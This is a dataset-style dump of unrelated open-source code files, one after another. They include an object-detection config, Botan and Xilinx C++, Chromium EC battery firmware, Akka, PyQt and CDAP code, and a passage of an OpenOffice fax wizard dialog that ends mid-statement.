max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
449
_base_ = ['../rotated_retinanet/rotated_retinanet_hbb_r50_fpn_1x_dota_oc.py'] angle_version = 'oc' model = dict( bbox_head=dict( reg_decoded_bbox=True, loss_bbox=dict( _delete_=True, type='GDLoss_v1', loss_type='kld', fun='log1p', tau=1, loss_weight=1.0))) img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile'), dict(type='LoadAnnotations', with_bbox=True), dict(type='RResize', img_scale=(1024, 1024)), dict( type='RRandomFlip', flip_ratio=[0.25, 0.25, 0.25], direction=['horizontal', 'vertical', 'diagonal'], version=angle_version), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='DefaultFormatBundle'), dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']) ] data = dict(train=dict(pipeline=train_pipeline))
503
1,988
/* * Buffered Filter * (C) 1999-2007 <NAME> * * Botan is released under the Simplified BSD License (see license.txt) */ #include <botan/filters.h> #include <botan/mem_ops.h> #include <botan/internal/rounding.h> #include <botan/exceptn.h> namespace Botan { /* * Buffered_Filter Constructor */ Buffered_Filter::Buffered_Filter(size_t b, size_t f) : m_main_block_mod(b), m_final_minimum(f) { if(m_main_block_mod == 0) throw Invalid_Argument("m_main_block_mod == 0"); if(m_final_minimum > m_main_block_mod) throw Invalid_Argument("m_final_minimum > m_main_block_mod"); m_buffer.resize(2 * m_main_block_mod); m_buffer_pos = 0; } /* * Buffer input into blocks, trying to minimize copying */ void Buffered_Filter::write(const uint8_t input[], size_t input_size) { if(!input_size) return; if(m_buffer_pos + input_size >= m_main_block_mod + m_final_minimum) { size_t to_copy = std::min<size_t>(m_buffer.size() - m_buffer_pos, input_size); copy_mem(&m_buffer[m_buffer_pos], input, to_copy); m_buffer_pos += to_copy; input += to_copy; input_size -= to_copy; size_t total_to_consume = round_down(std::min(m_buffer_pos, m_buffer_pos + input_size - m_final_minimum), m_main_block_mod); buffered_block(m_buffer.data(), total_to_consume); m_buffer_pos -= total_to_consume; copy_mem(m_buffer.data(), m_buffer.data() + total_to_consume, m_buffer_pos); } if(input_size >= m_final_minimum) { size_t full_blocks = (input_size - m_final_minimum) / m_main_block_mod; size_t to_copy = full_blocks * m_main_block_mod; if(to_copy) { buffered_block(input, to_copy); input += to_copy; input_size -= to_copy; } } copy_mem(&m_buffer[m_buffer_pos], input, input_size); m_buffer_pos += input_size; } /* * Finish/flush operation */ void Buffered_Filter::end_msg() { if(m_buffer_pos < m_final_minimum) throw Invalid_State("Buffered filter end_msg without enough input"); size_t spare_blocks = (m_buffer_pos - m_final_minimum) / m_main_block_mod; if(spare_blocks) { size_t spare_bytes = m_main_block_mod * spare_blocks; buffered_block(m_buffer.data(), spare_bytes); buffered_final(&m_buffer[spare_bytes], m_buffer_pos - spare_bytes); } else { buffered_final(m_buffer.data(), m_buffer_pos); } m_buffer_pos = 0; } }
1,145
848
<filename>vision/L1/include/imgproc/xf_black_level.hpp #ifndef __XF_BLACK_LEVEL_HPP__ #define __XF_BLACK_LEVEL_HPP__ // ========================================================================= // Required files // ========================================================================= #include "common/xf_common.hpp" // ========================================================================= // Actual body // ========================================================================= template <typename T> T xf_satcast_bl(int in_val){}; template <> inline ap_uint<8> xf_satcast_bl<ap_uint<8> >(int v) { v = (v > 255 ? 255 : v); v = (v < 0 ? 0 : v); return v; }; template <> inline ap_uint<10> xf_satcast_bl<ap_uint<10> >(int v) { v = (v > 1023 ? 1023 : v); v = (v < 0 ? 0 : v); return v; }; template <> inline ap_uint<12> xf_satcast_bl<ap_uint<12> >(int v) { v = (v > 4095 ? 4095 : v); v = (v < 0 ? 0 : v); return v; }; template <> inline ap_uint<16> xf_satcast_bl<ap_uint<16> >(int v) { v = (v > 65535 ? 65535 : v); v = (v < 0 ? 0 : v); return v; }; namespace xf { namespace cv { template <int SRC_T, int MAX_ROWS, int MAX_COLS, int NPPC = XF_NPPC1, int MUL_VALUE_WIDTH = 16, int FL_POS = 15, int USE_DSP = 1> void blackLevelCorrection(xf::cv::Mat<SRC_T, MAX_ROWS, MAX_COLS, NPPC>& _Src, xf::cv::Mat<SRC_T, MAX_ROWS, MAX_COLS, NPPC>& _Dst, XF_CTUNAME(SRC_T, NPPC) black_level, float mul_value // ap_uint<MUL_VALUE_WIDTH> mul_value ) { // clang-format off #pragma HLS INLINE OFF // clang-format on // max/(max-black) const uint32_t _TC = MAX_ROWS * (MAX_COLS >> XF_BITSHIFT(NPPC)); const int STEP = XF_DTPIXELDEPTH(SRC_T, NPPC); uint32_t LoopCount = _Src.rows * (_Src.cols >> XF_BITSHIFT(NPPC)); uint32_t rw_ptr = 0, wrptr = 0; uint32_t max_value = (1 << (XF_DTPIXELDEPTH(SRC_T, NPPC))) - 1; ap_ufixed<16, 1> mulval = (ap_ufixed<16, 1>)mul_value; int value = 0; for (uint32_t i = 0; i < LoopCount; i++) { // clang-format off #pragma HLS PIPELINE II=1 #pragma HLS LOOP_TRIPCOUNT min=_TC max=_TC // clang-format on XF_TNAME(SRC_T, NPPC) wr_val = 0; XF_TNAME(SRC_T, NPPC) rd_val = _Src.read(rw_ptr++); for (uint8_t j = 0; j < NPPC; j++) { // clang-format off #pragma HLS UNROLL // clang-format on XF_CTUNAME(SRC_T, NPPC) in_val = rd_val.range(j * STEP + STEP - 1, j * STEP); int med_val = (in_val - black_level); if (in_val < black_level) { value = 0; } else { value = (int)(med_val * mulval); } wr_val.range(j * STEP + STEP - 1, j * STEP) = xf_satcast_bl<XF_CTUNAME(SRC_T, NPPC)>(value); } _Dst.write(wrptr++, wr_val); } } } } #endif // __XF_BLACK_LEVEL_HPP__
1,493
14,668
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/flags_ui/flags_ui_switches.h" namespace switches { // These two flags are added around the switches about:flags adds to the // command line. This is useful to see which switches were added by about:flags // on about:version. They don't have any effect. const char kFlagSwitchesBegin[] = "flag-switches-begin"; const char kFlagSwitchesEnd[] = "flag-switches-end"; } // namespace switches
160
335
<reponame>Safal08/Hacktoberfest-1 { "word": "Guidance", "definitions": [ "Advice or information aimed at resolving a problem or difficulty, especially as given by someone in authority.", "The directing of the motion or position of something, especially an aircraft, spacecraft, or missile." ], "parts-of-speech": "Noun" }
118
401
/* * Copyright (C) 2014 - 2016 Softwaremill <https://softwaremill.com> * Copyright (C) 2016 - 2020 Lightbend Inc. <https://www.lightbend.com> */ package docs.javadsl; import akka.NotUsed; import akka.actor.typed.ActorSystem; import akka.actor.typed.Behavior; import akka.actor.typed.javadsl.Adapter; import akka.actor.typed.javadsl.Behaviors; import akka.cluster.sharding.external.ExternalShardAllocationStrategy; import akka.cluster.sharding.typed.javadsl.ClusterSharding; import akka.cluster.sharding.typed.javadsl.Entity; import akka.cluster.sharding.typed.javadsl.EntityTypeKey; import akka.kafka.AutoSubscription; import akka.kafka.ConsumerRebalanceEvent; import akka.kafka.ConsumerSettings; import akka.kafka.Subscriptions; import akka.kafka.cluster.sharding.KafkaClusterSharding; import akka.kafka.javadsl.Consumer; import akka.stream.javadsl.Flow; import akka.stream.javadsl.Sink; import akka.util.Timeout; import org.apache.kafka.common.serialization.ByteArrayDeserializer; import org.apache.kafka.common.serialization.StringDeserializer; import java.time.Duration; import java.util.concurrent.CompletionStage; public class ClusterShardingExample { // #user-entity static final class User { public final String id; public final String mame; User(String id, String mame) { this.id = id; this.mame = mame; } } // #user-entity public static Behavior<User> userBehaviour() { return Behaviors.empty(); } public static <T> Flow<T, T, NotUsed> userBusiness() { return Flow.create(); } public static void example() { ActorSystem<Void> system = ActorSystem.create(Behaviors.empty(), "ClusterShardingExample"); String kafkaBootstrapServers = "localhost:9092"; // #message-extractor // automatically retrieving the number of partitions requires a round trip to a Kafka broker CompletionStage<KafkaClusterSharding.KafkaShardingNoEnvelopeExtractor<User>> messageExtractor = KafkaClusterSharding.get(system) .messageExtractorNoEnvelope( "user-topic", Duration.ofSeconds(10), (User msg) -> msg.id, ConsumerSettings.create( Adapter.toClassic(system), new StringDeserializer(), new StringDeserializer())); // #message-extractor // #setup-cluster-sharding String groupId = "user-topic-group-id"; EntityTypeKey<User> typeKey = EntityTypeKey.create(User.class, groupId); messageExtractor.thenAccept( extractor -> ClusterSharding.get(system) .init( Entity.of(typeKey, ctx -> userBehaviour()) .withAllocationStrategy( new ExternalShardAllocationStrategy( system, typeKey.name(), Timeout.create(Duration.ofSeconds(5)))) .withMessageExtractor(extractor))); // #setup-cluster-sharding // #rebalance-listener akka.actor.typed.ActorRef<ConsumerRebalanceEvent> rebalanceListener = KafkaClusterSharding.get(system).rebalanceListener(typeKey); ConsumerSettings<String, byte[]> consumerSettings = ConsumerSettings.create( Adapter.toClassic(system), new StringDeserializer(), new ByteArrayDeserializer()) .withBootstrapServers(kafkaBootstrapServers) .withGroupId( typeKey .name()); // use the same group id as we used in the `EntityTypeKey` for `User` // pass the rebalance listener to the topic subscription AutoSubscription subscription = Subscriptions.topics("user-topic") .withRebalanceListener(Adapter.toClassic(rebalanceListener)); // run & materialize the stream Consumer.plainSource(consumerSettings, subscription) .via(userBusiness()) .runWith(Sink.ignore(), system); // #rebalance-listener } }
1,561
627
/* Copyright 2018 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. * * Battery pack vendor provided charging profile */ #include "battery.h" #include "battery_smart.h" #include "charge_manager.h" #include "charger.h" #include "chipset.h" #include "charge_state_v2.h" #include "common.h" #include "console.h" #include "ec_commands.h" #include "extpower.h" #include "hooks.h" #include "temp_sensor.h" #include "usb_pd.h" /* Shutdown mode parameter to write to manufacturer access register */ #define SB_SHUTDOWN_DATA 0x0010 /* * We need to stop charging the battery when the DRAM temperature sensor gets * over 47 C (320 K), and resume charging once it cools back down. */ #define DRAM_STOPCHARGE_TEMP_K 320 /* Battery info */ static const struct battery_info info = { .voltage_max = 8880, .voltage_normal = 7700, .voltage_min = 6000, .precharge_current = 160, .start_charging_min_c = 10, .start_charging_max_c = 50, .charging_min_c = 10, .charging_max_c = 50, .discharging_min_c = -20, .discharging_max_c = 60, }; int board_cut_off_battery(void) { int rv; /* Ship mode command must be sent twice to take effect */ rv = sb_write(SB_MANUFACTURER_ACCESS, SB_SHUTDOWN_DATA); if (rv != EC_SUCCESS) return EC_RES_ERROR; rv = sb_write(SB_MANUFACTURER_ACCESS, SB_SHUTDOWN_DATA); return rv ? EC_RES_ERROR : EC_RES_SUCCESS; } const struct battery_info *battery_get_info(void) { return &info; } enum battery_disconnect_state battery_get_disconnect_state(void) { uint8_t data[6]; int rv; /* * Take note if we find that the battery isn't in disconnect state, * and always return NOT_DISCONNECTED without probing the battery. * This assumes the battery will not go to disconnect state during * runtime. */ static int not_disconnected; if (not_disconnected) return BATTERY_NOT_DISCONNECTED; /* Check if battery discharge FET is disabled. */ rv = sb_read_mfgacc(PARAM_OPERATION_STATUS, SB_ALT_MANUFACTURER_ACCESS, data, sizeof(data)); if (rv) return BATTERY_DISCONNECT_ERROR; if (~data[3] & (BATTERY_DISCHARGING_DISABLED)) { not_disconnected = 1; return BATTERY_NOT_DISCONNECTED; } /* * Battery discharge FET is disabled. Verify that we didn't enter this * state due to a safety fault. */ rv = sb_read_mfgacc(PARAM_SAFETY_STATUS, SB_ALT_MANUFACTURER_ACCESS, data, sizeof(data)); if (rv || data[2] || data[3] || data[4] || data[5]) return BATTERY_DISCONNECT_ERROR; /* No safety fault, battery is disconnected */ return BATTERY_DISCONNECTED; } static void reduce_input_voltage_when_full(void) { struct batt_params batt; int max_pd_voltage_mv; int active_chg_port; active_chg_port = charge_manager_get_active_charge_port(); if (active_chg_port == CHARGE_PORT_NONE) return; battery_get_params(&batt); if (!(batt.flags & BATT_FLAG_BAD_STATUS)) { /* Lower our input voltage to 9V when battery is full. */ if ((batt.status & STATUS_FULLY_CHARGED) && chipset_in_state(CHIPSET_STATE_ANY_OFF)) max_pd_voltage_mv = 9000; else max_pd_voltage_mv = PD_MAX_VOLTAGE_MV; if (pd_get_max_voltage() != max_pd_voltage_mv) pd_set_external_voltage_limit(active_chg_port, max_pd_voltage_mv); } } DECLARE_HOOK(HOOK_SECOND, reduce_input_voltage_when_full, HOOK_PRIO_DEFAULT); enum ec_status charger_profile_override_get_param(uint32_t param, uint32_t *value) { return EC_RES_INVALID_PARAM; } enum ec_status charger_profile_override_set_param(uint32_t param, uint32_t value) { return EC_RES_INVALID_PARAM; } static int should_stopcharge(void) { int t_dram; /* We can only stop charging on AC, if AC is plugged in. */ if (!gpio_get_level(GPIO_AC_PRESENT)) return 0; /* * The DRAM temperature sensor is only available when the AP is on, * therefore only inhibit charging when we can actually read a * temperature. */ if (chipset_in_state(CHIPSET_STATE_ON) && !temp_sensor_read(TEMP_SENSOR_DRAM, &t_dram) && (t_dram >= DRAM_STOPCHARGE_TEMP_K)) return 1; else return 0; } int charger_profile_override(struct charge_state_data *curr) { static uint8_t stopcharge_on_ac; int enable_stopcharge; enable_stopcharge = should_stopcharge(); if (enable_stopcharge != stopcharge_on_ac) { stopcharge_on_ac = enable_stopcharge; if (enable_stopcharge) { chgstate_set_manual_current(0); } else { chgstate_set_manual_current(-1); } } return 0; }
1,800
369
<filename>cdap-api/src/main/java/io/cdap/cdap/api/spark/SparkHttpServiceHandlerSpecification.java /* * Copyright © 2017 <NAME>, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package io.cdap.cdap.api.spark; import io.cdap.cdap.api.annotation.UseDataSet; import io.cdap.cdap.api.common.PropertyProvider; import io.cdap.cdap.api.service.http.ServiceHttpEndpoint; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import javax.annotation.Nullable; /** * Specification for Spark HTTP service handler. */ public final class SparkHttpServiceHandlerSpecification implements PropertyProvider { private final String className; private final Map<String, String> properties; private final Set<String> datasets; private final List<ServiceHttpEndpoint> endpoints; public SparkHttpServiceHandlerSpecification(String className, Map<String, String> properties, Set<String> datasets, List<ServiceHttpEndpoint> endpoints) { this.className = className; this.properties = Collections.unmodifiableMap(new HashMap<>(properties)); this.datasets = Collections.unmodifiableSet(new HashSet<>(datasets)); this.endpoints = Collections.unmodifiableList(new ArrayList<>(endpoints)); } /** * @return the fully qualified class name of the handler class. */ public String getClassName() { return className; } @Override public Map<String, String> getProperties() { return properties; } @Nullable @Override public String getProperty(String key) { return properties.get(key); } /** * @return a set of dataset names that declared by the {@link UseDataSet} annotation. */ public Set<String> getDatasets() { return datasets; } /** * @return a {@link List} of {@link ServiceHttpEndpoint} that the handler exposes. */ public List<ServiceHttpEndpoint> getEndpoints() { return endpoints; } }
801
3,181
<reponame>LibertyPhoneProject/App-GMS-Core /* * SPDX-FileCopyrightText: 2020 microG Project Team * SPDX-License-Identifier: Apache-2.0 AND CC-BY-4.0 * Notice: Portions of this file are reproduced from work created and shared by Google and used * according to terms described in the Creative Commons 4.0 Attribution License. * See https://developers.google.com/readme/policies for details. */ package com.google.android.gms.tasks; import org.microg.gms.common.PublicApi; /** * A function that is called to continue execution then a {@link Task} succeeds. * @see Task#onSuccessTask */ @PublicApi public interface SuccessContinuation<TResult, TContinuationResult> { /** * Returns the result of applying this SuccessContinuation to Task. * <p> * The SuccessContinuation only happens then the Task is successful. If the previous Task fails, the onSuccessTask * continuation will be skipped and failure listeners will be invoked. * <p> * <pre> * private Task<String> doSomething(String string) { * // do something * } * task.onSuccessTask(new SuccessContinuation<String, String>() { * &#64;NonNull * &#64;Override * public Task<String> then(String string) { * return doSomething(string); * } * }); * </pre> * * @param result the result of completed Task * @throws Exception if the result couldn't be produced */ Task<TContinuationResult> then(TResult result) throws Exception; }
537
76,518
<reponame>tameemzabalawi/PowerToys #include <windows.h> #include <string> class EventLocker { public: EventLocker(HANDLE h) { eventHandle = h; SetEvent(eventHandle); } static std::optional<EventLocker> Get(std::wstring eventName) { EventLocker locker(eventName); if (!locker.eventHandle) { return {}; } return locker; } EventLocker(EventLocker& e) = delete; EventLocker& operator=(EventLocker& e) = delete; EventLocker(EventLocker&& e) noexcept { this->eventHandle = e.eventHandle; e.eventHandle = nullptr; } EventLocker& operator=(EventLocker&& e) noexcept { this->eventHandle = e.eventHandle; e.eventHandle = nullptr; } ~EventLocker() { if (eventHandle) { ResetEvent(eventHandle); CloseHandle(eventHandle); eventHandle = nullptr; } } private: EventLocker(std::wstring eventName) { eventHandle = CreateEvent(nullptr, true, false, eventName.c_str()); if (!eventHandle) { return; } SetEvent(eventHandle); } HANDLE eventHandle; };
593
2,023
#!/usr/bin/python """ QtBreadCrumbs - A simple BreadCrumbs Navigation Bar ###================ Program Info ================### Program Name : QtBreadCrumbs Version : 1.0.0 Platform : Linux/Unix Requriements : Must : modules PyQt4 Python Version : Python 2.6 or higher Author : Britanicus Email : <EMAIL> License : GPL version 3 ###==============================================### """ ### =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # # # Copyright 2012 Britanicus <<EMAIL>> # # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # ( at your option ) any later version. # # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. # ### =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # from PyQt4.QtCore import * from PyQt4.QtGui import * class QtBreadCrumbMenu( QLabel ) : """QlLabel BreadCrumbMenu """ openThisLocation = pyqtSignal( "QString" ) def __init__( self, path ) : """Class initialiser """ QLabel.__init__( self ) self.cwd = QDir( path ) self.cwd.setFilter( QDir.NoDotAndDotDot | QDir.Dirs ) self.setPixmap( QIcon.fromTheme( "arrow-right" ).pixmap( QSize( 16, 16 ) ) ) self.menu = QMenu() self.menu.setStyleSheet( "menu-scrollable: 1;" ) self.menu.aboutToHide.connect( self.onMenuHidden ) def mousePressEvent( self, mEvent ) : """Over riding the MousePress to show a menu """ self.menu.clear() if self.cwd.entryList().count() : for d in self.cwd.entryList() : action = self.menu.addAction( QIcon.fromTheme( "folder" ), d ) action.triggered.connect( self.onMenuItemClicked ) else : action = self.menu.addAction( "No folders" ) action.setDisabled( True ) if self.menu.isVisible() : self.setPixmap( QIcon.fromTheme( "arrow-right" ).pixmap( QSize( 16, 16 ) ) ) self.menu.hide() else : self.setPixmap( QIcon.fromTheme( "arrow-down" ).pixmap( QSize( 16, 16 ) ) ) self.menu.popup( self.mapToGlobal( self.frameRect().bottomLeft() ) ) mEvent.accept() def onMenuHidden( self ) : """onMenuHidden() -> None Reset the QLabel pixmap when the menu is hidden @return None """ self.setPixmap( QIcon.fromTheme( "arrow-right" ).pixmap( QSize( 16, 16 ) ) ) def onMenuItemClicked( self ) : """printAction() -> None Dummy to handle menu action click @return None """ self.openThisLocation.emit( self.cwd.filePath( self.sender().text() ) ) class QtBreadCrumb( QLabel ) : """QLabel BreadCrumb """ openThisLocation = pyqtSignal( "QString" ) def __init__( self, path, current = False ) : """Class initialiser """ QLabel.__init__( self ) self.cwd = QDir( path ) if self.cwd.isRoot() : self.setPixmap( QIcon.fromTheme( "drive-harddisk" ).pixmap( QSize( 16, 16 ) ) ) elif self.cwd == QDir.home() : self.setPixmap( QIcon.fromTheme( "go-home" ).pixmap( QSize( 16, 16 ) ) ) else : self.setText( self.cwd.dirName() ) if current : self.setStyleSheet( "QLabel { font-weight: bold; }" ) def mousePressEvent( self, mEvent ) : """Over riding the MousePress to show a menu """ self.openThisLocation.emit( self.cwd.absolutePath() ) mEvent.accept() class QtBreadCrumbsBar( QWidget ) : """QtBreadCrumbBar """ openLocation = pyqtSignal( "QString" ) def __init__( self, address = QString( "/" ) ) : """Class initialiser """ QWidget.__init__( self ) self.cwd = QDir( address ) self.createGui() def createGui( self ) : """createGui() -> None Create a GUI @return None """ self.setContentsMargins( QMargins() ) lyt = QHBoxLayout() lyt.setContentsMargins( QMargins() ) self.setLayout( lyt ) self.loadPath( self.cwd.absolutePath() ) def loadPath( self, path ) : """loadPath( QString ) -> None Load the path into the bar @return None """ self.cwd = QDir( path ) if self.layout().count() : while self.layout().count() : wItem = self.layout().takeAt( 0 ) wItem.widget().deleteLater() del wItem else : self.updateGeometry() self.adjustSize() f = QDir( path ) while not f.isRoot() : crumb = QtBreadCrumb( QFileInfo( f.absolutePath() ).absolutePath() ) crumb.openThisLocation.connect( self.handleCrumbAndMenuSignal ) menu = QtBreadCrumbMenu( QFileInfo( f.absolutePath() ).absolutePath() ) menu.openThisLocation.connect( self.handleCrumbAndMenuSignal ) self.layout().insertWidget( 0, menu ) self.layout().insertWidget( 0, crumb ) f = QDir( QFileInfo( f.absolutePath() ).absolutePath() ) else : menu = QtBreadCrumbMenu( self.cwd.absolutePath() ) menu.openThisLocation.connect( self.handleCrumbAndMenuSignal ) self.layout().addWidget( QtBreadCrumb( self.cwd.absolutePath(), True ) ) self.layout().addWidget( menu ) self.layout().addStretch() def handleCrumbAndMenuSignal( self, string ) : """handleCrumbAndMenuSignal() -> None Handles QtBreadCrumbCrumb and QtBreadCrumbMenu Signals @return None """ self.loadPath( string ) self.openLocation.emit( string )
2,093
711
<reponame>jingetiema2100/MicroCommunity package com.java110.utils.constant; /** * 业主属性常量类 * Created by wuxw on 2017/5/20. */ public class ServiceCodeOwnerAttrConstant { /** * 添加 业主属性 */ public static final String ADD_OWNERATTR = "owner.saveOwnerAttr"; /** * 修改 业主属性 */ public static final String UPDATE_OWNERATTR = "owner.updateOwnerAttr"; /** * 删除 业主属性 */ public static final String DELETE_OWNERATTR = "owner.deleteOwnerAttr"; /** * 查询 业主属性 */ public static final String LIST_OWNERATTRS = "owner.listOwnerAttrs"; }
306
558
package skadistats.clarity.processor.runner; import skadistats.clarity.source.ResetRelevantKind; import java.io.IOException; public class LoopController { public enum Command { CONTINUE, BREAK, FALLTHROUGH, AGAIN, RESET_START, RESET_CLEAR, RESET_ACCUMULATE, RESET_APPLY, RESET_FORWARD, RESET_COMPLETE } public interface Func { Command doLoopControl(int nextTickWithData) throws Exception; } public LoopController(Func controllerFunc) { this.controllerFunc = controllerFunc; } protected Func controllerFunc; protected boolean syncTickSeen = false; public Command doLoopControl(int nextTickWithData) throws Exception { return controllerFunc.doLoopControl(nextTickWithData); } public void markResetRelevantPacket(int tick, ResetRelevantKind kind, int offset) throws IOException {} public boolean isSyncTickSeen() { return syncTickSeen; } public void setSyncTickSeen(boolean syncTickSeen) { this.syncTickSeen = syncTickSeen; } }
460
12,824
package test; public abstract class MyAsyncTask extends AsyncTask<String, String, String> { protected abstract String doInBackground1(String[] args); @Override protected String doInBackground(String... args) { return doInBackground1(new String[]{"dummy"}); } }
89
679
<filename>main/wizards/com/sun/star/wizards/fax/FaxWizardDialog.java /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ package com.sun.star.wizards.fax; import com.sun.star.awt.*; import com.sun.star.lang.XMultiServiceFactory; import com.sun.star.wizards.common.*; import com.sun.star.wizards.ui.*; public abstract class FaxWizardDialog extends WizardDialog implements FaxWizardDialogConst, UIConsts { XRadioButton optBusinessFax; XListBox lstBusinessStyle; XRadioButton optPrivateFax; XListBox lstPrivateStyle; XFixedText lblBusinessStyle; XFixedText lblTitle1; XFixedText lblPrivateStyle; XFixedText lblIntroduction; //Image Control XControl ImageControl3; XCheckBox chkUseLogo; XCheckBox chkUseDate; XCheckBox chkUseCommunicationType; XComboBox lstCommunicationType; XCheckBox chkUseSubject; XCheckBox chkUseSalutation; XComboBox lstSalutation; XCheckBox chkUseGreeting; XComboBox lstGreeting; XCheckBox chkUseFooter; XFixedText lblTitle3; XRadioButton optSenderPlaceholder; XRadioButton optSenderDefine; XTextComponent txtSenderName; XTextComponent txtSenderStreet; XTextComponent txtSenderPostCode; XTextComponent txtSenderState; XTextComponent txtSenderCity; XTextComponent txtSenderFax; XRadioButton optReceiverDatabase; XRadioButton optReceiverPlaceholder; XFixedText lblSenderAddress; //Fixed Line XControl FixedLine2; XFixedText lblSenderName; XFixedText lblSenderStreet; XFixedText lblPostCodeCity; XFixedText lblTitle4; XFixedText Label1; XFixedText Label2; XTextComponent txtFooter; XCheckBox chkFooterNextPages; XCheckBox chkFooterPageNumbers; XFixedText lblFooter; XFixedText lblTitle5; XTextComponent txtTemplateName; //File Control XControl fileTemplatePath; XRadioButton optCreateFax; XRadioButton optMakeChanges; XFixedText lblFinalExplanation1; XFixedText lblProceed; XFixedText lblFinalExplanation2; //Image Control XControl ImageControl2; XFixedText lblTemplateName; XFixedText lblTemplatePath; XFixedText lblTitle6; XFixedText Label9; //Font Descriptors as Class members. FontDescriptor fontDescriptor1 = new FontDescriptor(); FontDescriptor fontDescriptor2 = new FontDescriptor(); FontDescriptor fontDescriptor4 = new FontDescriptor(); FontDescriptor fontDescriptor5 = new FontDescriptor(); //Resources Object FaxWizardDialogResources resources; public FaxWizardDialog(XMultiServiceFactory xmsf) { super(xmsf, HIDMAIN); //Load Resources resources = new FaxWizardDialogResources(xmsf); //set dialog properties... Helper.setUnoPropertyValues(xDialogModel, new String[] { PropertyNames.PROPERTY_CLOSEABLE, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_MOVEABLE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_TITLE, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, 210, Boolean.TRUE, 104, 52, INTEGERS[1], new Short((short) 1), resources.resFaxWizardDialog_title, 310 }); //Set member- FontDescriptors... fontDescriptor1.Weight = 150; fontDescriptor1.Underline = com.sun.star.awt.FontUnderline.SINGLE; fontDescriptor2.Weight = 100; fontDescriptor4.Weight = 100; fontDescriptor5.Weight = 150; } //build components public void buildStep1() { optBusinessFax = insertRadioButton("optBusinessFax", OPTBUSINESSFAX_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTBUSINESSFAX_HID, resources.resoptBusinessFax_value, 97, 28, INTEGERS[1], new Short((short) 1), 184 }); lstBusinessStyle = insertListBox("lstBusinessStyle", LSTBUSINESSSTYLE_ACTION_PERFORMED, LSTBUSINESSSTYLE_ITEM_CHANGED, new String[] { "Dropdown", PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, INTEGER_12, LSTBUSINESSSTYLE_HID, 180, INTEGER_40, INTEGERS[1], new Short((short) 3), 74 }); optPrivateFax = insertRadioButton("optPrivateFax", OPTPRIVATEFAX_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTPRIVATEFAX_HID, resources.resoptPrivateFax_value, 97, 81, INTEGERS[1], new Short((short) 2), 184 }); lstPrivateStyle = insertListBox("lstPrivateStyle", LSTPRIVATESTYLE_ACTION_PERFORMED, LSTPRIVATESTYLE_ITEM_CHANGED, new String[] { "Dropdown", PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, INTEGER_12, LSTPRIVATESTYLE_HID, 180, 95, INTEGERS[1], new Short((short) 4), 74 }); lblBusinessStyle = insertLabel("lblBusinessStyle", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, 